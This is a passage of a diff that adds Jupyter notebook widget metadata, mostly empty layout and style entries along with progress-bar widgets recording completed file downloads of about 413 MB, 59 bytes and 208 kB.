+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2c10acf72c97479c82ac853a5cd372bc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9aaca0628fca4f2eaa79ce470f1cbe04": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7fb5607ab7174cdc8bbf91de38736aae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5cb5ef67c23b49d8b60267a3243bda7e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e3e2f4c00d87492b8910320d2013b2ed": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "edbcb62bb5d74021a43a6fa87813dc6f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1ea8bede937f4f2a86aa2a3e171f01f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e9ba81a5262a4064a4b264dbd65be72a",
+              "IPY_MODEL_8d36d6398f82455297c54752cfa75e19",
+              "IPY_MODEL_acf9e37b852648bc9bde3a9b9e46e88e"
+            ],
+            "layout": "IPY_MODEL_47eff52636ad46b4a9921786fac2a87a"
+          }
+        },
+        "e9ba81a5262a4064a4b264dbd65be72a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d0185c3829a3430e84d66c2e2e822e24",
+            "placeholder": "",
+            "style": "IPY_MODEL_7d319e1748a34187860166041ba58bfb",
+            "value": "Downloading: 100%"
+          }
+        },
+        "8d36d6398f82455297c54752cfa75e19": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_78d2ab9bcad3473c871f42ee10a47cde",
+            "max": 433316646,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_30771e225ce84020992c4c6d0272ce91",
+            "value": 433316646
+          }
+        },
+        "acf9e37b852648bc9bde3a9b9e46e88e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_870eab9ef32d4dd7a3888f1c8b2fd866",
+            "placeholder": "",
+            "style": "IPY_MODEL_20d165e3ad6f4151adc337c8852c5af0",
+            "value": " 413M/413M [00:13<00:00, 39.4MB/s]"
+          }
+        },
+        "47eff52636ad46b4a9921786fac2a87a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d0185c3829a3430e84d66c2e2e822e24": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7d319e1748a34187860166041ba58bfb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "78d2ab9bcad3473c871f42ee10a47cde": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "30771e225ce84020992c4c6d0272ce91": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "870eab9ef32d4dd7a3888f1c8b2fd866": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20d165e3ad6f4151adc337c8852c5af0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9e3f6b5478bc40b59588b45a21baa8ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_26d5fe3ca4da42688dd94c4de885802b",
+              "IPY_MODEL_42d869ff361446a8b174853e54ba0d5d",
+              "IPY_MODEL_92f7d6b9cbb44b32acf5ada208358b6b"
+            ],
+            "layout": "IPY_MODEL_41082754c88d4a83b67ad55e4abbfa41"
+          }
+        },
+        "26d5fe3ca4da42688dd94c4de885802b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_42a20dc48a7246f5bfe37a434eb5ea99",
+            "placeholder": "",
+            "style": "IPY_MODEL_d9a1d7a2099948a18d061b9312909de4",
+            "value": "Downloading: 100%"
+          }
+        },
+        "42d869ff361446a8b174853e54ba0d5d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1d196a6c69df4805a7d32cc34e6c5a71",
+            "max": 59,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7b8a749775c14ea19cd27a8b6d21ec66",
+            "value": 59
+          }
+        },
+        "92f7d6b9cbb44b32acf5ada208358b6b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_062f5d1b87d841eda66a6392bc755da9",
+            "placeholder": "",
+            "style": "IPY_MODEL_9cb592a10fe9403a9f70ca8c1179979a",
+            "value": " 59.0/59.0 [00:00<00:00, 1.29kB/s]"
+          }
+        },
+        "41082754c88d4a83b67ad55e4abbfa41": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "42a20dc48a7246f5bfe37a434eb5ea99": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d9a1d7a2099948a18d061b9312909de4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1d196a6c69df4805a7d32cc34e6c5a71": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7b8a749775c14ea19cd27a8b6d21ec66": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "062f5d1b87d841eda66a6392bc755da9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9cb592a10fe9403a9f70ca8c1179979a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8b83c336f76a450998d42074740f8ba7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_61e34de53f824bbda1c44081fe1a8db7",
+              "IPY_MODEL_53e0ebbe06874a9d9f063b8e2f227a82",
+              "IPY_MODEL_a4674d3d476e4e34b65137195b926cc4"
+            ],
+            "layout": "IPY_MODEL_f98ca551ff4443f0a4e40bcf7758f3dc"
+          }
+        },
+        "61e34de53f824bbda1c44081fe1a8db7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ef1d3589d4474347a79054118ad11683",
+            "placeholder": "",
+            "style": "IPY_MODEL_03ae716e541d4b22b2e82f36d1fa516c",
+            "value": "Downloading: 100%"
+          }
+        },
+        "53e0ebbe06874a9d9f063b8e2f227a82": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9b57473fbcb341cf90393ad8f41eff2f",
+            "max": 213450,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ff5e0890b8724417b82358a48aba3e78",
+            "value": 213450
+          }
+        },
+        "a4674d3d476e4e34b65137195b926cc4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_95707ff8a18749cbaf31ce459278662f",
+            "placeholder": "",
+            "style": "IPY_MODEL_c77101d1f1ca4452805baa23883deb71",
+            "value": " 208k/208k [00:00<00:00, 1.72MB/s]"
+          }
+        },
+        "f98ca551ff4443f0a4e40bcf7758f3dc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ef1d3589d4474347a79054118ad11683": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
